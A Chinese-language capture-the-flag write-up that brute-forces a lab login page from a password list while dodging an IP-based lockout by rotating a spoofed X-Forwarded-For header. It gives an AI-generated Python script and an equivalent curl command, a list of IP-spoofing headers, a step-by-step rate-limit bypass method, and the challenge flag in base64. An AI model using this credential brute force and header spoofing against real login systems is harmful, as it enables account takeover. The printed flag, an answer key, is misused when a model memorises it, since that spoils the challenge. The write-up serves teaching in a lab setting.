
這題要我們對 ctf-player@cylabacademy.org 這個信箱將passwords.txt內的密碼都試一遍正確就能拿到flag
不過這題密碼給的不多你要試完一個錯了在restart再試也是可以拿到flag啦不過我不是這樣做的
-----------分隔線-----------
這題是這樣的->你測試密碼->錯了->鎖20分鐘->port時間到->gg
題目給的訊息:The login system has been upgraded with a basic rate-limiting mechanism that locks out repeated failed attempts from the same source.
代表它是鎖ip,根據CracktheGate1我推測這題也是考動態ip,所以我對deepseek下了這個提示
寫一個腳本 登入http://chatelaine.cylabacademy.net:<port>/ 帳號 ctf-player@cylabacademy.org密碼在password.txt但我不確定是哪個密碼要一個一個試 每試一個換一個ip因為登入失敗要等所以用動態ip
deepseek:
import requests
URL = "http://xebec.cylabacademy.net:<port>/login"
EMAIL = "ctf-player@cylabacademy.org"
s = requests.Session()
for i, pw in enumerate(open("passwords.txt").read().split(), 1):
h = {"X-Forwarded-For": f"10.0.{i // 256}.{i % 256}"}
r = s.post(URL, json={"email": EMAIL, "password": pw}, headers=h)
try:
d = r.json()
except ValueError:
print(i, pw, r.status_code, r.text[:120]); continue
print(i, pw, r.status_code, d)
if d.get("success"):
print("FLAG:", d.get("flag"))
break
這邊要注意url後面要/login不然會報錯
執行結果:
先把flagbase64給你們:YWNhZGVteXt4ZmZfYnlwNHNzX2JydXQzX2JjNDRmM2I3fQ==
自己做做看吧0.0
----下面是補充----
我先把抓下來得js貼上來
<script>
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const formData = {
email: document.getElementById('email').value,
password: document.getElementById('password').value
};
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData)
})
.then(response => response.json())
.then(data => {
console.log(data);
if (data.success) {
prompt('Login successful!\nFlag:', data.flag);
} else if (data.error) {
alert(data.error);
} else {
alert('Invalid credentials');
}
})
.catch(error => console.error('Error:', error));
});
</script>
重點是這段
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData)
})
這解釋了為什麼url後面要/login
也告訴解題腳本要回傳的json格式有兩個物件
pseudo code:
对每个密码 pw_i:
生成唯一伪造 IP_i
POST /login {email, password: pw_i} + X-Forwarded-For: IP_i
解析 JSON
如果 success → 打印 flag,退出
最後講一下重點這題的偽造iph = {"X-Forwarded-For": f"10.0.{i // 256}.{i % 256}"}
意思是我們把標頭從10.0.0.0一直換換到最後理論上是10.0.255.255可以試65535次
如果我們把腳本轉成bash指令會像這樣
curl -i -X POST http://xebec.cylabacademy.net:<port>/login \
-H 'Content-Type: application/json' \
-H 'X-Forwarded-For: 10.0.0.0' \ #你的標頭
-d '{"email":"ctf-player@cylabacademy.org","password":"..."}'
---解題tips---
找端点/格式 → 驗證能打中的登錄邏輯 → 確認限速類型
→ 換IP → 換session → 換帳號 → 组合拳
→ 找到生效维度 → 測域值/窗口/併發
→ 確認成功響應特徵 → 自動化
常見header
X-Forwarded-For
X-Real-IP
X-Client-IP
X-Originating-IP
X-Remote-Addr
X-Remote-IP
Forwarded: for=...
True-Client-IP
CF-Connecting-IP
歡迎"友善"提問和討論0.0